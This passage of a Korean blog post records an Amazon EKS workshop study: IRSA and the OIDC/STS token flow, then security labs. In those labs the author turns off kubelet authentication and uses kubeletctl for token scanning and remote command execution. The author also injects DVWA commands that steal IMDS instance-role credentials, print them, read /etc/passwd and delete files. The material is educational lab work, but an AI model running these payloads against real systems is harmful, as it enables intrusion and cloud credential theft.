3. AWS IAM은 IAM OIDC Identity Provider를 통해 토큰의 유효성을 검증한다.
4.AWS IAM 이 AWS STS에게 토큰에 대한 검증이 완료되었다고 응답한다.
5. AWS STS는 리소스에 접근하기 위한 임시자격증명을 Pod에 전달한다.
6.Pod는 임시자격증명을 통해 리소스에 접근한다.
k8s파드 → AWS 서비스 사용 시 ⇒ AWS STS/IAM ↔ IAM OIDC Identity Provider(EKS IdP) 인증/인가
클러스터에 설치된 웹훅들의 정보를 살펴보면 다음과 같다.
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations
다음의 도표에 보이는 것처럼 mutatingwebhook이 Pod에 SA를 Injection 한다.
출처 - 링크
실습 - SA의 IAM Role
SA의 AccountToken을 자동 마운트 하지 못하게 한다.
# 파드1 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: eks-iam-test1
spec:
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
args: ['s3', 'ls']
restartPolicy: Never
automountServiceAccountToken: false
EOF
# 확인
kubectl get pod
kubectl describe pod
# 로그 확인
kubectl logs eks-iam-test1
# 파드1 삭제
kubectl delete pod eks-iam-test1
에러가 발생한다.
CloudTrail에서 ListBuckets 명령에 대한 로그를 확인해 보면 errorCode에 Access Denied라고 표시된 것을 확인할 수 있다.
{
"eventVersion": "1.08",
"userIdentity": {
"type": "AssumedRole",
"principalId": "AROAZVU4D6NRKMUK5Z2WR:i-047de09b82e263683",
"arn": "arn:aws:sts::...:assumed-role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-GJ573FFWPXT4/i-047de09b82e263683",
"accountId": "664973603682",
"accessKeyId": "ASIAZVU4D6NRM45X7JFG",
"sessionContext": {
"sessionIssuer": {
"type": "Role",
"principalId": "...",
"arn": "arn:aws:iam::...:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-GJ573FFWPXT4",
"accountId": "...",
"userName": "eksctl-myeks-nodegroup-ng1-NodeInstanceRole-GJ573FFWPXT4"
},
"webIdFederationData": {},
"attributes": {
"creationDate": "2023-06-01T03:23:04Z",
"mfaAuthenticated": "false"
},
"ec2RoleDelivery": "2.0"
}
},
"eventTime": "2023-06-01T04:02:24Z",
"eventSource": "s3.amazonaws.com",
"eventName": "ListBuckets",
"awsRegion": "ap-northeast-2",
"sourceIPAddress": "3.38.154.135",
"userAgent": "[aws-cli/2.11.24 Python/3.11.3 Linux/5.10.179-166.674.amzn2.x86_64 docker/x86_64.amzn.2 prompt/off command/s3.ls]",
"errorCode": "AccessDenied",
"errorMessage": "Access Denied",
"requestParameters": {
"Host": "s3.ap-northeast-2.amazonaws.com"
},...
}
참고 - https://aws.amazon.com/ko/blogs/containers/diving-into-iam-roles-for-service-accounts/
실습 - Kubernetes SA volume 토큰 사용
이전 상황과 다르게 projected volume이 생성되었다. 지금도 실패했지만, default SA를 통해 토큰발급이 된 것을 확인할 수 있다.
실습 - IRSA설정
eks create iamserviceaccount를 사용할 때는 무조건 Pod가 API를 사용해야 할 때이다...!
- 가시다 님 -
# Create an iamserviceaccount - AWS IAM role bound to a Kubernetes service account
eksctl create iamserviceaccount \
--name my-sa \
--namespace default \
--cluster $CLUSTER_NAME \
--approve \
--attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)
이 명령어를 실행하면 다음과 같은 3가지가 수행된다.
- A Kubernetes Service Account
- An IAM role with the specified IAM policy
- A trust policy on that IAM role
iamserviceaccount를 수행하면 cloudformation이 수행된다.
IAM Role을 만든다. 그다음 매핑된 권한을 붙인다. OIDC Federated가 수행되는데..
이 OIDC는 EKS의 OpenID Connect 공급자 URL이다!
SA 역시 생성되었다.
이제 Pod를 생성할 때 이 SA를 사용한다. Pod 생성 시 MutatingWebhook으로 Env, Volume 추가한다.
kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh
kubectl get pod eks-iam-test3
kubectl describe pod eks-iam-test3
mutatingwebhook 이 환경정보와 볼륨에 token과 같은 정보들을 추가해 놓은 것이다.
이제 파드에서 aws cli 사용을 확인하면 동작하는 것을 알 수 있다.
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
Role의 이름을 살펴보면 botocore-session 정보들이 포함되어 있다.
하지만 EC2의 정보를 조회해 보면 안 나오는데, 이것은 저 role에 관련 권한이 없는 것이다.
kubectl exec -it eks-iam-test3 -- aws ec2 describe-instances --region ap-northeast-2
진행되었던 이벤트와 발급받은 토큰은 다음과 같다.
# AWS_WEB_IDENTITY_TOKEN_FILE 확인
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN
실습 - 미흡한 인증/인가 설정에 따른 위험
kubelet API의 인증 인가 정보를 확인하고, kubelet이 사용하는 포트(10250)를 확인한다.
# 노드의 kubelet API 인증과 인가 관련 정보 확인
ssh ec2-user@$N1 cat /etc/kubernetes/kubelet/kubelet-config.json | jq
ssh ec2-user@$N1 cat /var/lib/kubelet/kubeconfig | yh
# 노드의 kubelet 사용 포트 확인
ssh ec2-user@$N1 sudo ss -tnlp | grep kubelet
# 데모를 위해 awscli 파드 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: myawscli
spec:
#serviceAccountName: my-sa
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
command: ['sleep', '36000']
restartPolicy: Never
EOF
# Pod 정보 확인
kubectl describe pod myawscli
# Pod 사용
kubectl exec -it myawscli -- aws sts get-caller-identity --query Arn
kubectl exec -it myawscli -- aws s3 ls
kubectl exec -it myawscli -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
kubectl exec -it myawscli -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
다음과 같이 default CA를 통해 생성되는 Pod를 통해서 AWS의 리소스들에 접근이 가능한 권한이 있다.
bastion 서버 2(myeks-bastion-2)에서 kubeletctl을 설치하여 클러스터의 노드를 스캔해 보고, kubelet API를 호출 시도해 본다.
# 기존 kubeconfig 삭제
rm -rf ~/.kube
# 다운로드
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.9/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
kubeletctl version
kubeletctl help
# 노드1 IP 변수 지정
N1=<각자 자신의 노드1의 PrivateIP>
N1=192.168.1.151
# 노드1 IP로 Scan
kubeletctl scan --cidr $N1/32
# 노드1에 kubelet API 호출 시도
curl -k https://$N1:10250/pods; echo
Unauthorized
노드 1에 접속해서 kubelet-config.json을 수정하여 인증 없이 API를 설정할 수 있는 환경으로 설정한다.
ssh ec2-user@$N1
-----------------------------
# 미흡한 인증/인가 설정으로 변경
vi /etc/kubernetes/kubelet/kubelet-config.json
...
"authentication": {
"anonymous": {
"enabled": true
...
},
"authorization": {
"mode": "AlwaysAllow",
...
# kubelet restart
systemctl restart kubelet
systemctl status kubelet
이렇게 취약한 환경일 때 접속자는 kubernetes 클러스터 정보 및 aws 관련 정보들을 탈취할 수 있게 된다.
# 파드 목록 확인
curl -s -k https://$N1:10250/pods | jq
# kubelet-config.json 설정 내용 확인
curl -k https://$N1:10250/configz | jq
# kubeletct 사용
# Return kubelet's configuration
kubeletctl -s $N1 configz | jq
# Get list of pods on the node
kubeletctl -s $N1 pods
# Scans for nodes with opened kubelet API > Scans for for all the tokens in a given Node
kubeletctl -s $N1 scan token
# kubelet API로 명령 실행 : <네임스페이스> / <파드명> / <컨테이너명>
curl -k https://$N1:10250/run/default/myawscli/my-aws-cli -d "cmd=aws --version"
# Scans for nodes with opened kubelet API > remote code execution on their containers
kubeletctl -s $N1 scan rce
# Run commands inside a container
kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli
--------------------------------
export
aws --version
aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
exit
--------------------------------
# Return resource usage metrics (such as container CPU, memory usage, etc.)
kubeletctl -s $N1 metrics
OWASP Kubernetes Top Ten
OWASP에서 매년 Kubernetes 보안 관련 Top 10을 제시한다고 한다.
실습 - EKS pod가 IMDS(Instance MetaData Service) API를 악용하는 시나리오
dvwa는 테스트 용도의 허술한 웹서비스를 통해 보안 취약점을 이해할 수 있다.
실습 환경
cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
name: dvwa-secrets
type: Opaque
data:
# s3r00tpa55
ROOT_PASSWORD: czNyMDB0cGE1NQ==
# dvwa
DVWA_USERNAME: ZHZ3YQ==
# p@ssword
DVWA_PASSWORD: cEBzc3dvcmQ=
# dvwa
DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-mysql-service
spec:
selector:
app: dvwa-mysql
tier: backend
ports:
- protocol: TCP
port: 3306
targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-mysql
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-mysql
tier: backend
template:
metadata:
labels:
app: dvwa-mysql
tier: backend
spec:
containers:
- name: mysql
image: mariadb:10.1
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
ports:
- containerPort: 3306
env:
- name: MYSQL_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: ROOT_PASSWORD
- name: MYSQL_USER
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml
cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: dvwa-config
data:
RECAPTCHA_PRIV_KEY: ""
RECAPTCHA_PUB_KEY: ""
SECURITY_LEVEL: "low"
PHPIDS_ENABLED: "0"
PHPIDS_VERBOSE: "1"
PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-web-service
spec:
selector:
app: dvwa-web
type: ClusterIP
ports:
- protocol: TCP
port: 80
targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-web
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-web
template:
metadata:
labels:
app: dvwa-web
spec:
containers:
- name: dvwa
image: cytopia/dvwa:php-8.1
ports:
- containerPort: 80
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
env:
- name: RECAPTCHA_PRIV_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PRIV_KEY
- name: RECAPTCHA_PUB_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PUB_KEY
- name: SECURITY_LEVEL
valueFrom:
configMapKeyRef:
name: dvwa-config
key: SECURITY_LEVEL
- name: PHPIDS_ENABLED
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_ENABLED
- name: PHPIDS_VERBOSE
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_VERBOSE
- name: PHP_DISPLAY_ERRORS
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHP_DISPLAY_ERRORS
- name: MYSQL_HOSTNAME
value: dvwa-mysql-service
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
- name: MYSQL_USERNAME
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml
cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
alb.ingress.kubernetes.io/group.name: study
alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
alb.ingress.kubernetes.io/scheme: internet-facing
alb.ingress.kubernetes.io/ssl-redirect: "443"
alb.ingress.kubernetes.io/success-codes: 200-399
alb.ingress.kubernetes.io/target-type: ip
name: ingress-dvwa
spec:
ingressClassName: alb
rules:
- host: dvwa.$MyDomain
http:
paths:
- backend:
service:
name: dvwa-web-service
port:
number: 80
path: /
pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web https://dvwa.$MyDomain"
다음으로 admin / password를 통해 로그인을 한다.
처음에 들어가면 Setup / Reset DB로 들어가서 Create / Reset Database를 누르면 DB 연결이 된다.
여러 가지 취약점 테스트를 할 수 있게 메뉴가 구성되어 있다.
# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami
# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==
# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1H30SEASKL5M1
# EC2 Instance Profile (IAM Role) 자격증명탈취
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1H30SEASKL5M1
{
"Code" : "Success",
"LastUpdated" : "2023-05-28T08:57:40Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5ILF2FJITL3SDNHF",
"SecretAccessKey" : "vYKlEwY2sEOhZuSLl3YHuuantav9wCQyuBXi/Utq",
"Token" : "IQoJb3JpZ2luX2VjECEaDmFwLW5vcnRoZWFzdC0yIkcwRQIgFGjfFf2Mw+PBWyyiwdvz/F4BTA9jWFsxxOlqnuGr9zUCIQDpG/aispNmH33bKme7+nOcgixKwrZJAiElX6HD9ZybWyrMBQhaEAEaDDkxMTI4MzQ2NDc4NSIM852DvLWwQ2F0+h3YKqkFORn7pJxNAZ62USbc6+MwtCa+F2scLKsBgcAtsGVu9pMbQIqiFqojIw1BX+7mDu7V+wVcwifMNV+5idGSewHnAmflFRcFFDqmmaR963rZ5D+HVsdNnWWzEYYI7YRREsoHEu1qp4WfAolF0wry5bZUVuKW4nfRFI7gWdHjEvGf3Q8X6g42N4NL25APbk4f4L1G/NyfwSNtX6SH/KJOkEfICCl0dERTeTLKPmFEyRg6eW2GodR2EOmrzNgV526elVAGr0xR+dSKLHtueoI6RMQzVcWa7PTTfCpy5fdgfJddewrWcqiVbS5XdsFsSyAryYoQsa2Qv2OcC0kPOicDOsvx0gTg9Aa0hQ+jMmjoiKXYp/Tl5uNzrjyUyEEwm8BO54Bz40qAVJTRAKXFfgpg6ypNeGeS8tsrZ0zIGSlU0bzBCDwbtPkmwk8vposE0sbLZltFypdJOCZwkL4PeQGG3pIVoFvq0ldlw+YMDJ84iUcRGIsyyPT1a5dAkHC+NYcJ9dd02hGpEfJLhj5I6MbzFHc2GAbBivT7a6P+Td2yZEP8YbpTZi9c/yXptV6r+ALvpeSCFpsr0NrPNpesxyOXc0f30fGHiTaodZ/a1avjb9gyotM+LHgKELvBlPt48Hu8duoAclP+/BvLUJHQAbAgKXGcbxtyvZiFEvrw2DPlJNgDcp06CQMzUGtyboE6H4B8gZxqVUI0c8WcCvKpsCYTWqj8EUjFLuUvBu3EzN/z8XynFdoLV1GLR/HRFpYmcI0InP3ScHi/tFoxs3SqPjcDn0G0QVd+vix4CxwXUHGehR4pEKlUoUxUzpCcE61MgZIijM54wcb4CJ6lL0YQQT0hoJBkE574xa4OibT/6d8qRP+9LzlkJ8Ir2FLN2mcjluPYLNs/nYPdqbZ5xlPeML6vzKMGOrEBz8jfqk9F1TtITJs/+EIouyyG/1cEJFYFEcqJJZ1nDqvY4CY11HX1GU8GDtWyYfXGOejQK1dTB8RCOcYdfKYXQGHT3Dl7Y/zLrA69Si7Vs28oZfEHLd0BDp6sFY8u1zN6jxI6NLnICa00RbWkqI70SiAzLKWAektS5LgbDU7liyH90vJ0IfqnlntN4nNFyB40l8JFlpL7ks+mGzsDLlCZjXWdPjrX/emHek7pktkfnI9V",
"Expiration" : "2023-05-28T15:03:24Z"
}
# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*
코드에서 다음과 같이 Secure coding을 적용해 예방할 수 있다.
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
마치며
이번 포스팅에서는 AWES 세미나에서 배운 EKS의 인증/인가에 대한 개념들과 보안 관련 시나리오 기반 실습을 진행한 내용을 다뤘다. STS, EKS, IAM, RBAC 간의 동작 방식에 대해 이해하는 과정에서 도식을 그려 스터디에 공유했는데, 멤버분들의 반응이 좋았다!
스터디 노션에 공유도 되고, 스터디 리더님께서 AWS 커뮤니티에 공유도 해주시니까 어찌나 뿌듯하던지..
더 열심히 해야겠다.
또한 스터디가 라운드 형태로 운영이 되는 상황에서 필자가 지금까지 살아남을 수 있을 줄 몰랐다.
이번주의 개념과 과제가 정말 너무너무 어려웠는데, 다 하고 보니 마치 큰 언덕을 넘은것과 같은 기분이 든다.
정말 필사적으로 참여하는 이유는 바로 다음 스터디 주제인 EKS Automation 때문이다!
(제일 관심 있었던 부분.. *^^*)
마지막 스터디도 잘 마무리해서 오랜만에 스터디 멤버들과 서울에서 오프라인 모임도 할 수 있었으면 좋겠다.
(치킨!!)
'클라우드 컴퓨팅 & NoSQL > [AEWS] Amazon EKS 워크숍 스터디' 카테고리의 다른 글
[7주차] AEWS Amazon EKS 워크숍 스터디 (23.06.04) (0) | 2023.06.09 |
---|---|
[5주차] AEWS Amazon EKS 워크숍 스터디 (23.05.21) (0) | 2023.05.27 |
[4주차] AEWS Amazon EKS 워크숍 스터디 (23.05.14) (0) | 2023.05.20 |
[3주차] AEWS Amazon EKS 워크숍 스터디 (23.05.07) (2) | 2023.05.14 |
[2주차] AEWS Amazon EKS 워크숍 스터디 (23.04.30) (0) | 2023.05.07 |